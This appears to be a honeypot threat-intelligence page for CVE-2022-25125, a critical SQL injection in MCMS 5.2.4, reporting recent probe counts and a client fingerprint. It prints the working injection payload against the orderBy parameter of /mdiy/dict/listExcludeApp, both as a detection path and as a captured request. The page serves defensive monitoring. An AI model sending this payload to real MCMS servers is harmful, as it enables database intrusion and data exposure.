CVE-2022-25125: MCMS 5.2.4 - SQL Injection

HoneyLabs honeypots recorded 6 probes matching CVE-2022-25125 from 1 distinct source IP address in the last 7 days. Severity is rated critical.

Request paths that identify it

• /mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{*}}'),0x7e),1)/**/or/**/1

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('999999999'),0x7e),1)/**/or/**/1

HTTP client fingerprints

• b11cun070_0005001f_498e5f6c